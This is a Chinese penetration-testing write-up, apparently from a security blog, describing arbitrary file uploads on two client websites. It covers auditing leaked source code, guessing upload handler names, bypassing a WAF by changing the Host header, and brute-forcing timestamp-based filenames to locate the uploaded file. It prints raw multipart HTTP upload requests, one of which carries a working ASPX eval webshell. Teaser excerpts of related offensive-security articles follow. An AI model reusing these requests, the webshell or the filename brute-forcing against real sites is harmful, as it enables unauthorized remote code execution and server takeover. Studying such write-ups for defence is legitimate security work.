实战 | 一次运气很好的文件上传绕过

VSole2021-10-13 09:26:38

某天客户丢来了两个站点,白天摸鱼日站,发现日不动。晚上做梦还想着它,明天要怎么交差,于是在梦里发生了这次渗透。

站点1:文件上传

发现源代码泄露

打开自己珍藏已久的辣鸡字典,扫描发现存在bin.zip信息泄露,尝试进行代码审计

文件位置:SimpleDataPlatform.SimpleDataPlatform.fileUpload

找到ProccessRequest接收请求,可以看到获取了一堆参数后(初始化),后进入了HandleFiles方法,

跟进HandleFiles进行处理,如果dateType=ZBJHSB时,就继续处理请求,dateType为GET传参

路径为/Uploads/SetData/ZBJHSB,str名称为时间戳,且str2(后缀)没有进行限制就进行保存,

OK,这应该是一个妥妥的任意文件上传了,只要有返回值,那么这个站就没了。但是很不凑巧的是,他没有返回值。

由于方法fileUpload,瞎猜文件名为

fileUpload.aspxfileUpload.ashxfileUpload.asmxfileUploads.aspxfileUploads.asmxfileUploads.ashxUpload.....等

加上自己现有的字典爆破了一波,成功找到了返回了200的文件名http://xxx.com:6039/FileUploads.ashx

直接构造上传表单,这里Form里的name字段应该是没有具体设置的(代码里没有找到),发包后返回200,可能真的传上去了吧?

POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1Host: xxx.cn:6039Content-Length: 195User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36X-Requested-With: XMLHttpRequestContent-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8Accept: */*Connection: close
------WebKitFormBoundarySVkAJfiOUeRxhsu8Content-Disposition: form-data; name="File"; filename="1.aspx"Content-Type: image/jpeg
11111111111------WebKitFormBoundarySVkAJfiOUeRxhsu8--

之前我们看到使用的格式为yyyyMMddHHmmssfff作为文件名,然后直接截取后缀作为ext,而且我们有了具体的路径,那么只需要爆破时间戳文件名即可拿下该站点,以前还没有这么做过,不妨试试。

爆破时间戳

使用Powershell生成时间戳,然后此时在Burp按下go发送请求包

powershell -c Get-Date -Format yyyyMMddHHmmssfff

再爆破后面5位数字,也就是ssfff(由于电脑上的时间不一定准,有时候甚至可能要爆破6位)

不知道等了多久

运气真好,后面的就不多说了。

站点2:文件上传

找到上传接口

打开网站http://xxxx:880/zwwpt/#/就发现存在一个webpack debug模式未关闭,查看JS发现上传接口

http://xxxxxx:880/zwwpt/data/menuData.json

发现了一个隐藏的html页面,这个页面在前端的功能点是点不到的。

http://xxxxxx:880/jtwxt/xgjt/security_risk.html

点击附件上传抓包

发现存在waf,当拦截住waf的时候,会返回404,大概数据包就是这样(省略了一些其他的无用参数)

POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1Host: xxxxx.cn:880Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close
------WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name="uploadfile[]"; filename="1.aspx"Content-Type: image/jpeg
<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--

绕过

修改HOST:

xxxx.cn:880为xxxx.cn或xxx.cn:8888(不为880端口应该都可以)

POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1Host: xxxxx.cnCookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810Connection: close
------WebKitFormBoundary7PCqG5iQ5vwLZ6ABContent-Disposition: form-data; name="uploadfile[]"; filename="1.aspxContent-Type: image/jpeg
1111------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--

成功饶过waf,上传成功,但是没有返回路径

寻找路径

但是之前爆破目录找到了/uploads/目录和/image/目录

而且发现html名为security_risk.html,构造路径securityrisk、security_risk、security等,然后跑了一下目录

最终发现存在:

http://xxx.cn:880/uploads/securityrisk/ 这个目录

猜测可能上传的文件很有可能在该目录下,不然没必要起这么像的名字吧,而且还叫upload,于是尝试直接访问刚刚的文件名1.txt,返回是404

http://xxx.cn:880/uploads/securityrisk/1.txt

爆破时间戳

根据自己微不足道的经验,dot.net架构的网站喜欢使用时间戳来命名,因此构造当前时间戳,尝试爆破上传时间附近的时间点的时间戳值。

时间戳一般为10位或者13位

文件上传后强制转换的文件名命名规律一般有

1、随机字符串

xxx-xxx-xxx--xxx.jpg 格式这种类型我们没法猜,如果没目录遍历或者返回路径那么基本上只能放弃

2、时间戳类型

直接以时间戳+.jpg为文件名(如1631868676.jpg)时间戳+00001时间戳+0001时间戳+001时间戳+01时间戳

3、yymmddHHmm类型

这种类型一般以20210917xxxxx这种格式,xxxx应该为毫秒级别的数字,我们可以直接使用Burp进行爆破跑,4——6位还是可能跑的出来的,再多就跑不出来了。


powershell -c Get-Date -Format  yyyyMMddHHmm

yyyyMMddHHmmssfffyyyyMMddHHmmssfff+00001yyyyMMddHHmmssfff+0001yyyyMMddHHmmssfff+001yyyyMMddHHmmssfff+01yyyyMMddHHmmssfff
yyyyMMddHHmmssyyyyMMddHHmmss+00001yyyyMMddHHmmss+0001yyyyMMddHHmmss+001yyyyMMddHHmmss+01yyyyMMddHHmmss

整理好了思路我们就开始爆破吧,我们只需选择在Burp发包时记住当前

时间,然后获取当前时间戳,然后使用Burp intruder爆破来跑,一个一个的整理过去,大概需要重复操作15次,每次我就选择最后5位数字来进行爆破(只要网站不挂,不疏漏每一种类型应该是没什么问题的)

经过大量爆破后,发现了上传的文本文件,格式内容为

yyyyMMddHHmmss+0001

成功找到路径后,后面的就无需多言了

但是这种方法还是比较靠运气的,因为很有可能当前服务器的时间和目标网站的
时间不一致,比如差个几个小时,甚至差个几天这种情况。
如果为yyyyMMddHHmmssfff的情况,那基本是没办法了,自认倒霉
如果是yyyyMMddHHmmss的情况,那么爆破6位数字,还是可能爆破出来的。

至此,两个站都拿到了权限,梦醒了。

时间戳文件上传
本作品采用《CC 协议》,转载必须注明作者和本文链接
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。
一文吃透 Linux 提权
2021-10-23 07:09:32
特权升级意味着用户获得他们无权获得的特权。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。
万一猜对了,就可以直接上传webshell了。当构造出如上图包体时,该页面提示“文件上传成功!”。
某天客户丢来了两个站点,白天摸鱼日站,发现日不动。晚上做梦还想着它,明天要怎么交差,于是在梦里发生了这次渗透。但是很不凑巧的是,他没有返回值。爆破时间使用Powershell生成时间,然后此时在Burp按下go发送请求包powershell -c Get-Date -Format yyyyMMddHHmmssfff. 发现了一个隐藏的html页面,这个页面在前端的功能点是点不到的。
通过找源码代码审计后getshell。测试在某次测试过程中发现,通过泄漏的md5进入后台,在后台配置中有处“上传logo”的功能。会提示“上传失败”。只有正常图片+图片后缀 会返回图片路径。第一行 导入命名空间“phpWeChat” 内的 Upload 类,下面是引用包含一些文件。再往下,$action是用于下面 switch函数内做索引匹配而调用不同功能的。$action的值是通过 GET方式获取 “action”参数的值。
摩诃草,又名Hangover、Patchwork、白象等,奇安信内部跟踪编号为APT-Q-36,最早由国外安全厂商Norman披露并命名为Hangover,2016年8月其他厂商后续披露了摩诃草组织的详细报告。国内其他安全厂商通常也称其为“白象”。该APT组织被广泛认为来自南亚地区某国,其最早攻击活动可以追溯到2009年11月,从2015年开始变得更加活跃。该组织主要针对Windows系统进行攻
都不认识的话默认情况下是plain/text处理。答案是认识的后缀名们都被记录到一个叫mime.types的文件中了。这里要说的是有些情况下的mime.types没有提供对php的解析方法,对php的解析规则放在另一个文件,Windows下在/conf/extra/httpd-php.conf。
01 Bucket 公开访问 腾讯云存储桶的访问权限默认为私有读写权限,且存储桶名称会带上一串时间
实战中遇到过这样一个案例,一个输入密码正确后会302跳转到后台页面的登录口存在盲注,但登录数据有加密,无法使用sqlmap完成自动注入的过程,于是想编写python脚本自动化完成这个过程。
通常我们在渗透过程中从外围打点进入内网后拿到主机提升到system权限,这一台主机就已经拿下。但是我们进入内网的目标还是拿下尽可能多的主机,这时候选择横向移动的方法就尤为重要。今天就对一些常用的横向手法进行一个总结,有不足之处欢迎师傅们进行斧正。
VSole
网络安全专家